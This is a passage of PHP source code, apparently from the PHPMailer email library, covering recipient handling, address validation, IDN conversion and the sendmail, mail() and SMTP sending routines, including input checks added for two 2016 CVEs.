     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
